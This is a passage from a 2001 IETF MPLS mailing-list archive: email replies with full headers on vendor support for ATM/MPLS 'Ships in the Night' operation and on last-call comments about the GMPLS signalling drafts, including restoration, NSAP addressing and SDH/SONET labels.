          with Internet Mail Service (5.5.2653.19) id <LT8GYFXD>;
          Tue, 29 May 2001 17:13:26 +0800
Message-ID: <6514C2683A0CD311BB5F0000F810028402676579@zclbd003.asiapac.nortel.com>
From: "Bin Du" <robindu@nortelnetworks.com>
To: "'MP LS'" <stagempls@hotmail.com>, mpls@UU.NET, mpls-ops@mplsrc.com
Subject: =?utf-8?B?562U5aSNOiBWZW5kb3JzIHdobyB1c2UgU2hpcHMgaW4gdGhlIE5p?= 
         =?utf-8?B?Z2h0?=
Date: Tue, 29 May 2001 17:12:06 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0E81F.6EA98ED0"
X-Orig: <robindu@asiapacificm02.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0E81F.6EA98ED0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: quoted-printable

Nortel's Passport switch can do that. You can assign VP/VC ranges for =
ATM
and MPLS per interface.

Regards, Robin Du

-----=E5=8E=9F=E5=A7=8B=E9=82=AE=E4=BB=B6-----
=E5=8F=91=E4=BB=B6=E4=BA=BA: MP LS [mailto:stagempls@hotmail.com]
=E5=8F=91=E9=80=81=E6=97=B6=E9=97=B4: =
2001=E5=B9=B45=E6=9C=8829=E6=97=A5 16:56
=E6=94=B6=E4=BB=B6=E4=BA=BA: mpls@UU.NET; mpls-ops@mplsrc.com
=E4=B8=BB=E9=A2=98: Vendors who use Ships in the Night


Hello All

I have a question.
Are there any vendors at the moment who already implemented
MPLS and ATM as the Ships in the night principle. For the use in a =
ATM-LSR.

I would be pleased of anyone can give me some more info also about the =
way=20
the seperate the VP/VCs for ATM and for MPLS.

Greetings,

Niels Sitters
________________________________________________________________________=
_
Get Your Private, Free E-mail from MSN Hotmail at =
http://www.hotmail.com.


------_=_NextPart_001_01C0E81F.6EA98ED0
Content-Type: text/html;
	charset="utf-8"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dutf-8">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>=E7=AD=94=E5=A4=8D: Vendors who use Ships in the Night</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Nortel's Passport switch can do that. You can assign =
VP/VC ranges for ATM and MPLS per interface.</FONT>
</P>

<P><FONT SIZE=3D2>Regards, Robin Du</FONT>
</P>

<P><FONT SIZE=3D2>-----=E5=8E=9F=E5=A7=8B=E9=82=AE=E4=BB=B6-----</FONT>
<BR><FONT SIZE=3D2>=E5=8F=91=E4=BB=B6=E4=BA=BA: MP LS [<A =
HREF=3D"mailto:stagempls@hotmail.com">mailto:stagempls@hotmail.com</A>]<=
/FONT>
<BR><FONT SIZE=3D2>=E5=8F=91=E9=80=81=E6=97=B6=E9=97=B4: =
2001=E5=B9=B45=E6=9C=8829=E6=97=A5 16:56</FONT>
<BR><FONT SIZE=3D2>=E6=94=B6=E4=BB=B6=E4=BA=BA: mpls@UU.NET; =
mpls-ops@mplsrc.com</FONT>
<BR><FONT SIZE=3D2>=E4=B8=BB=E9=A2=98: Vendors who use Ships in the =
Night</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Hello All</FONT>
</P>

<P><FONT SIZE=3D2>I have a question.</FONT>
<BR><FONT SIZE=3D2>Are there any vendors at the moment who already =
implemented</FONT>
<BR><FONT SIZE=3D2>MPLS and ATM as the Ships in the night principle. =
For the use in a ATM-LSR.</FONT>
</P>

<P><FONT SIZE=3D2>I would be pleased of anyone can give me some more =
info also about the way </FONT>
<BR><FONT SIZE=3D2>the seperate the VP/VCs for ATM and for MPLS.</FONT>
</P>

<P><FONT SIZE=3D2>Greetings,</FONT>
</P>

<P><FONT SIZE=3D2>Niels Sitters</FONT>
<BR><FONT =
SIZE=3D2>_______________________________________________________________=
__________</FONT>
<BR><FONT SIZE=3D2>Get Your Private, Free E-mail from MSN Hotmail at <A =
HREF=3D"http://www.hotmail.com" =
TARGET=3D"_blank">http://www.hotmail.com</A>.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0E81F.6EA98ED0--


From owner-mpls@UU.NET  Tue May 29 05:32:24 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA27816
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 05:32:24 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrby25051;
	Tue, 29 May 2001 09:31:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkrby14643
	for mpls-outgoing; Tue, 29 May 2001 09:30:49 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrby14635
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 09:30:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrby17632
	for <mpls@UU.NET>; Tue, 29 May 2001 09:30:22 GMT
Received: from india.mercurykr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [165.133.13.60])
	id QQkrby21859
	for <mpls@UU.NET>; Tue, 29 May 2001 09:30:16 GMT
Received: from akshat (rahul [165.133.13.21])
	by india.mercurykr.com (8.8.8+Sun/8.8.8) with SMTP id OAA02504;
	Tue, 29 May 2001 14:53:48 -0600 (GMT)
Message-ID: <006801c0e822$4a7fde80$150d85a5@dti.daewoo.co.kr>
From: "Akshat Kapoor" <akshat@mercurykr.com>
To: <mpls@UU.NET>, <mpls-ops@mplsrc.com>
References: <F244GxegIqunLOyDc41000080db@hotmail.com>
Subject: Re: Vendors who use Ships in the Night
Date: Tue, 29 May 2001 15:02:27 +0530
Organization: Mercury Corp. (Formerly Daewoo Telecom Ltd)
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Niels,
    Many vendors currently provide Ships in the Night mode in their MPLSoATM
switches. You can go through the feature lists of  vendors (who provide MPLS
over ATM) at www.mplsrc.com
    Although a very old one but you can probably refer to
<draft-jamoussi-mpls-sin-00.txt> for operating in "Ships in the Night" mode.

Akshat

----- Original Message -----
From: "MP LS" <stagempls@hotmail.com>
To: <mpls@UU.NET>; <mpls-ops@mplsrc.com>
Sent: Tuesday, May 29, 2001 2:26 PM
Subject: Vendors who use Ships in the Night


> Hello All
>
> I have a question.
> Are there any vendors at the moment who already implemented
> MPLS and ATM as the Ships in the night principle. For the use in a
ATM-LSR.
>
> I would be pleased of anyone can give me some more info also about the way
> the seperate the VP/VCs for ATM and for MPLS.
>
> Greetings,
>
> Niels Sitters
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
>



From owner-mpls@UU.NET  Tue May 29 05:45:52 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA27881
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 05:45:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrby24867;
	Tue, 29 May 2001 09:44:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkrby16317
	for mpls-outgoing; Tue, 29 May 2001 09:44:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrby16266
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 09:43:51 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrby26485
	for <mpls@uu.net>; Tue, 29 May 2001 09:43:06 GMT
From: shehzad.mirza@bt.com
Received: from marvin.axion.bt.co.uk by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: marvin.axion.bt.co.uk [132.146.16.82])
	id QQkrby21099
	for <mpls@uu.net>; Tue, 29 May 2001 09:43:05 GMT
Received: from cbtlipnt01.btlabs.bt.co.uk by marvin (local) with ESMTP;
          Tue, 29 May 2001 10:42:00 +0100
Received: by cbtlipnt01.btlabs.bt.co.uk 
          with Internet Mail Service (5.5.2652.35) id <K031YM2V>;
          Tue, 29 May 2001 10:41:52 +0100
Message-ID: <71DA16F18D32D2119A1D0000F8FE9A94092DDE4C@mbtlipnt01.btlabs.bt.co.uk>
To: hirokazu@japan-telecom.co.jp, swallow@cisco.com, ccamp@ops.ietf.org,
        mpls@UU.NET
Cc: ip-optical@lists.bell-labs.com
Subject: RE: [IP-Optical] RE: GMPLS Last Calls
Date: Tue, 29 May 2001 10:40:17 +0100
X-Mailer: Internet Mail Service (5.5.2652.35)
MIME-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS signalling
drafts.

(1) Decoupling of the control plane from the data plane should be clearly
stated.

This decoupling clearly has an impact on how the protocols should be defined
to cope with control plane failures.  

(2) Exclusion of NSAP

The GMPLS architecture document, (which logically speaking should perhaps
have been put forward for last call, ahead of the functional description)
explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
communications channels (DCC bytes) therefore the use of alternative
addressing within the same channels may have an adverse effect on
interworking with legacy equipment, particularly with regard to management.
This raises the general concern of what level of compatibility is
required/desired with legacy SDH/SONET equipment.  This debate whilst likely
to be contentious, is unavoidable as the interworking of control plane,
management plane and transport will have a direct impact on how this
equipment is deployed and the economics of whether such deployments will
ever pay off.

(3) Requirements from both security and OSS has not been discussed fully
yet.

Security concerns have not been fully addressed, particularly at the
architectural level.  The use of separate control network may necessitate
the need for 24 hour staff to protect against 'Denial of Service' attacks as
currently happens for IP router networks.  The interaction between the
management plane and control plane need to be addressed, for example it is
undesirable to have multiple alarms generated when circuits are created and
torn down otherwise the management of a large scale network will become
impossible.  Discussions on service aspects need to take place, otherwise
the adoption of GMPLS equipment may be hampered, by these (solvable)
concerns.

Best regards

Shehzad Mirza



 

> -----Original Message-----
> From:	Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> Sent:	29 May 2001 02:46
> To:	George Swallow; ccamp; mpls
> Cc:	ip-optical; tsg15q11; tsg13q10
> Subject:	[IP-Optical] RE: GMPLS Last Calls
> 
> Hi,
> 
> From a carrier's perspective, my concerns about GMPLS signaling drafts
> are as follows:
> 
> (1) Decoupling of the control plane from the data plane should be clearly
>      stated.
> (2) Exclusion of NSAP
> (3) Requirements from both security and OSS (Operating Support System)
>      has not been discussed fully yet.
> 
> Best regards,
> Hirokazu Ishimatsu
> Japan Telecom
> 
> > -----Original Message-----
> > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > Behalf Of George Swallow
> > Sent: Tuesday, May 15, 2001 2:52 AM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Subject: GMPLS Last Calls
> > 
> > 
> > This message initiates a last call on four GMPLS drafts.  The last
> > call is being issued jointly in the MPLS and CCAMP workgroups.
> > 
> > The drafts are:
> > 
> >     1.  Generalized MPLS - Signaling Functional Description
> > 
> >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > 
> > 
> >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > 
> >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > 
> > 
> >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > 
> >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > 
> > 
> >     4.  GMPLS Extensions for SONET and SDH Control
> > 
> >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > 
> > 
> > The last call closes May 29, 12 pm GMT.
> > 
> > 
> > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > 
> > 
> > ======================================================================
> > George Swallow       Cisco Systems                   (978) 244-8143
> >                      250 Apollo Drive
> >                      Chelmsford, Ma 01824
> > 
> > 
> > 
> > 
> > 
> 
> _______________________________________________
> IP-Optical mailing list
> IP-Optical@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/ip-optical


From owner-mpls@UU.NET  Tue May 29 08:28:00 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA29876
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:27:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrcj10516;
	Tue, 29 May 2001 12:23:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29163
	for mpls-outgoing; Tue, 29 May 2001 12:23:20 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrcj29151
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:23:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj26620
	for <mpls@uu.net>; Tue, 29 May 2001 12:22:29 GMT
Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkrcj18887
	for <mpls@uu.net>; Tue, 29 May 2001 12:22:29 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCMS907963
	for <mpls@uu.net>; Tue, 29 May 2001 05:22:28 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02823 for mpls@uu.net; Tue, 29 May 2001 08:22:27 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqya00088
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 08:14:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqya13973
	for <mpls@UU.NET>; Mon, 28 May 2001 08:14:08 GMT
Received: from smtp1.gtsgroup.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkqya02021
	for <mpls@UU.NET>; Mon, 28 May 2001 08:14:07 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Mon, 28 May 2001 10:04:14 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2K4HP>; Mon, 28 May 2001 10:12:58 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA04214646@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Kullberg, Alan'" <akullber@netplane.com>,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: last call comment on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
Date: Mon, 28 May 2001 10:12:57 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello Alan,

>The LSP Hierarchy draft introduces Link Mux Capability.  There is a value
>defined for TDM Switch Capable.  In order to support the hierarchy in the
>above paragraph, TDM Switch Capable would need to be split into multiple
>values, one for each level of the SDH/SONET multiplexing structure.

The text that you indicated don't restrict to only two levels, you could
open an LSP inside an LSP, inside an LSP, etc... The example was given with
two levels. The important point is that whatever is the LSP that you want to
open you have a higher part and a lower part. So we don't have to define
plenty of different labels, not only per layer (higher order versus lower
order) but also as a whole since we could want to directly indicate a VC-11
in the whole multiplex (in that case the full label is significant). Having
different labels makes it much more complex without adding any additional
functionality.

Kind regards,

Eric

-----Original Message-----
From: Kullberg, Alan [mailto:akullber@netplane.com]
Sent: Thursday, May 24, 2001 5:44 PM
To: Mannie, Eric; 'Kireeti Kompella'
Cc: 'ccamp@ops.ietf.org'; 'mpls@UU.NET'
Subject: last call comment on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt


The following paragraph is from section 3 of
draft-ietf-ccamp-gmpls-sonet-sdh-00.txt.

  When hierarchical SDH/SONET LSPs are used, an LSP with a given
   bandwidth can be used to tunnel lower order LSPs.  The higher
   order SDH/SONET LSP behaves as a virtual link with a given
   bandwidth (e.g. VC-3), it may also be used as a Forwarding
   Adjacency. A lower order SDH/SONET LSP can be established through
   that higher order LSP. Since a label is local to a (virtual) link,
   the highest part of that label is non-significant and is set to
   zero.

The LSP Hierarchy draft introduces Link Mux Capability.  There is a value
defined for TDM Switch Capable.  In order to support the hierarchy in the
above paragraph, TDM Switch Capable would need to be split into multiple
values, one for each level of the SDH/SONET multiplexing structure.

What do you think?

Alan



From owner-mpls@UU.NET  Tue May 29 08:28:34 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA29911
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:28:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrcj13187;
	Tue, 29 May 2001 12:25:23 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29166
	for mpls-outgoing; Tue, 29 May 2001 12:23:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrcj29153
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:23:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj05603
	for <mpls@uu.net>; Tue, 29 May 2001 12:21:18 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrcj15944
	for <mpls@uu.net>; Tue, 29 May 2001 12:21:17 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCLIU13933
	for <mpls@uu.net>; Tue, 29 May 2001 05:21:18 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02805 for mpls@uu.net; Tue, 29 May 2001 08:21:15 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqow13821
	for <mpls@mail-control.mail.uu.net>; Fri, 25 May 2001 20:34:34 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkqow20528
	for <mpls@UU.NET>; Fri, 25 May 2001 20:34:10 GMT
Received: from ckmso1.proxy.att.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ckmso1.att.com [12.20.58.69])
	id QQkqow12733
	for <mpls@UU.NET>; Fri, 25 May 2001 20:34:09 GMT
Received: from gab200r1.ems.att.com ([135.37.94.32])
	by ckmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f4PKY5C19535;
	Fri, 25 May 2001 16:34:06 -0400 (EDT)
Received: from njb140bh2.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
	id QAA29915; Fri, 25 May 2001 16:33:39 -0400 (EDT)
Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2653.19)
	id <LRY4NKZK>; Fri, 25 May 2001 16:34:04 -0400
Message-ID: <1B08859602C8D211B66F0000C0769CFA05D988A1@njc240po03.mt.att.com>
From: "Tarapore, Percy S" <tarapore@att.com>
To: "'Bala Rajagopalan'" <BRaja@tellium.com>,
        "'C. R. Kalmanek'"
	 <crk@research.att.com>,
        John Drake <jdrake@calient.net>
Cc: ccamp@ops.ietf.org, mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Fri, 25 May 2001 16:34:02 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Bala,

Are you suggesting that restoration signaling requirements be formulated in
a separate GMPLS draft at a later date? If so, the current draft should add
text regarding the current scope (link protection only) as well as future
work (restoration) in Section 7.

Percy

-----Original Message-----
From: Bala Rajagopalan [mailto:BRaja@tellium.com]
Sent: Friday, May 25, 2001 1:57 PM
To: 'C. R. Kalmanek'; John Drake
Cc: ccamp@ops.ietf.org; mpls@UU.NET
Subject: RE: GMPLS Last Calls



Chuck:

I believe that the restoration issue can be
dealt with indepedent of the current drafts
on last call. Do you see any obstacles to
adding new objects/semantics (if any) to support
restoration requirements as they arise?

BTW, there are some drafts floating around
on shared mesh.

regards,

Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: C. R. Kalmanek [mailto:crk@research.att.com]
> Sent: Friday, May 25, 2001 1:08 PM
> To: John Drake
> Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> mpls@UU.NET
> Subject: Re: GMPLS Last Calls
> 
> 
> I fully agree: there are a whole spectrum of options that we
> need to sort through, and clear requirements are needed to
> guide that process.  Our concern is with the last call.  It
> doesn't make sense to progress drafts to RFC that are likely 
> in hindsight to be viewed as having serious deficiencies in
> meeting restoration requirements.
> 
> chuck
> 
> John Drake wrote:
> > 
> > The point is that in GMPLS, as in regular MPLS, restoration 
> consists of
> > rerouting from the endpoints upon
> > notification of failure.  There are a whole spectrum of 
> path and span
> > protection possibilites beyond this
> > that people (including us) have proposed, but in the absence of firm
> > requirements, it's hard to know which
> > to pursue.  I'm not sure 'shared mesh restoration' 
> completely covers it.
> > 
> > Thanks,
> > 
> > John
> > 
> > -----Original Message-----
> > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > Sent: Friday, May 25, 2001 9:54 AM
> > To: John Drake
> > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > mpls@uu.net
> > Subject: Re: GMPLS Last Calls
> > 
> > John,
> > 
> > While there currently are no restoration requirements from the
> > TE (or other) group, what Percy is saying is that shared mesh
> > restoration WILL be a requirement from those groups.  Since the
> > current GMPLS drafts don't meet this requirement, they are
> > unlikely to meet key SP needs.
> > 
> > I don't understand a process that starts the requirements
> > development after last call for the signaling specifications.
> > 
> > chuck
> > 
> > John Drake wrote:
> > >
> > > Percy,
> > >
> > > There has been work on protocols for path restoration in 
> mesh networks by
> > a
> > > number of
> > > people.  However, at the last IETF Kireeti and Vijay 
> clearly indicated
> > that
> > > this work,
> > > while interesting, wouldn't be allowed to progress in advance of a
> > > restoration requirements
> > > draft from the TE group.
> > >
> > > Thanks,
> > >
> > > John
> > >
> > > -----Original Message-----
> > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > Sent: Thursday, May 24, 2001 11:55 AM
> > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: RE: GMPLS Last Calls
> > >
> > > There is a significant issue related to the absence of 
> restoration in the
> > > signaling draft
> > >
> > 
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> ed-signaling-0
> > > 4.txt). Very specifically, Section 7 of this draft deals 
> with the case
> > > involving protection information for link protection. While link
> > protection
> > > schemes may be desirable for fast recovery related to 
> high priority LSP's,
> > > more cost-effective shared mesh restoration schemes would 
> be preferred for
> > > the majority of traffic from a Service Provider's 
> perspective. This
> > > observation is supported by the fact that many vendors 
> are currently
> > > developing proprietary schemes for shared mesh 
> restoration. Hence, in
> > > addition to the protection information, GMPLS signaling 
> needs to reflect a
> > > minimum set of information/attributes required for shared 
> mesh restoration
> > > without jeopardizing vendor proprietary solutions.
> > >
> > > The need for multiple types of restoration capabilities 
> is well documented
> > > in the OIF/UNI I-D
> > >
> > 
> http://search.ietf.org/internet-drafts/draft-many-carrier-fram
> ework-uni-00.t
> > > xt as follows:
> > >
> > > " Multiple types of facilities available for restoration 
> are needed
> > >    within the network. The following options should be 
> considered for
> > >    allocation of facilities to support restoration of failed
> > >    connections:
> > >    - Dedicated restoration capacity
> > >    - Shared restoration capacity. This allows the network 
> to ensure
> > >      high quality service for customers, while still managing its
> > >      physical resources efficiently.
> > >    - Un-restorable
> > >    - Pre-emptable"
> > >
> > > The OIF/UNI I-D supports a range of different restoration 
> schemes through
> > > the use of service level as a connection attribute. This 
> attribute is
> > > defined as follows:
> > >
> > > " an integer attribute that indicates a class of service. 
> A carrier may
> > > specify a range of different classes of service (e.g. 
> gold, silver,
> > bronze)
> > > with predefined characteristics (e.g. restoration plans). 
> The pre-defined
> > > service types correspond to different types of network 
> restoration (e.g.
> > no
> > > restoration, 1+1 protection), connection set-up and hold 
> priorities,
> > > reversion strategies for the connection after failures 
> have been repaired,
> > > and retention strategies."
> > >
> > > It is therefore important that GMPLS be extended to be 
> able to support
> > such
> > > restoration schemes.
> > >
> > > Percy S. Tarapore
> > > AT&T Labs
> > >
> > > -----Original Message-----
> > > From: Ash, Gerald R (Jerry)
> > > Sent: Thursday, May 24, 2001 2:20 PM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Cc: Ash, Gerald R (Jerry)
> > > Subject: RE: GMPLS Last Calls
> > >
> > > Quoting from the CCAMP/IETF-50 meeting minutes re the 
> GMPLS Architecture
> > > draft:
> > >
> > > "Eve - Had hoped that CCAMP formation and expression of 
> requirements would
> > > enable us to do more with architecture than reverse 
> architect proposed
> > > solution. Think we should also look at carrier 
> requirements and look for
> > > discrepancies with architecture.
> > > Curtis - requirements of carriers not being addressed?
> > > Eve - happy to discuss on mailing list in absence of time"
> > >
> > > There are still no documented service provider (SP) 
> requirements driving
> > the
> > > proposed GMPLS protocol extensions.  This is inconsistent 
> with the current
> > > initiatives to provide SP requirements prior to protocol 
> extensions being
> > > accepted, such as for protection/restoration, network 
> hierarchy, MPLS OAM,
> > > MPLS/DiffServ TE, multi-area TE, etc.
> > >
> > > Here is a sample of SP requirements that are not being 
> addressed (other
> > > requirements from our perspective are forthcoming):
> > >
> > > 1. Restoration requirements, particularly in support of 
> mesh restoration,
> > > need to be supported by GMPLS.  For example, Section 7 of 
> the Generalized
> > > Signaling I-D
> > >
> > 
> (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> ed-signaling-0
> > > 4.txt)
> > > primarily discusses link protection, restoration 
> capabilities are largely
> > > missing and need to be included.
> > >
> > > 2. Standards explicitly supported by GMPLS, such as 
> G.707, G.709, etc.,
> > > should be clearly identified in the text and referenced 
> in the GMPLS I-Ds,
> > > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> > [Reference
> > > G.707] is supported by the Generalized Label Request."
> > >
> > > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > > requirements to the list.  It would also help if more SPs 
> were invited to
> > > co-author the GMPLS drafts, to help ensure that SP 
> requirements are more
> > > adequately reflected and addressed.
> > >
> > > Jerry Ash
> > > AT&T Labs
> > >
> > > -----Original Message-----
> > > From: George Swallow [mailto:swallow@cisco.com]
> > > Sent: Monday, May 14, 2001 1:52 PM
> > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > Subject: GMPLS Last Calls
> > >
> > > This message initiates a last call on four GMPLS drafts.  The last
> > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > >
> > > The drafts are:
> > >
> > >     1.  Generalized MPLS - Signaling Functional Description
> > >
> > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > >
> > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > >
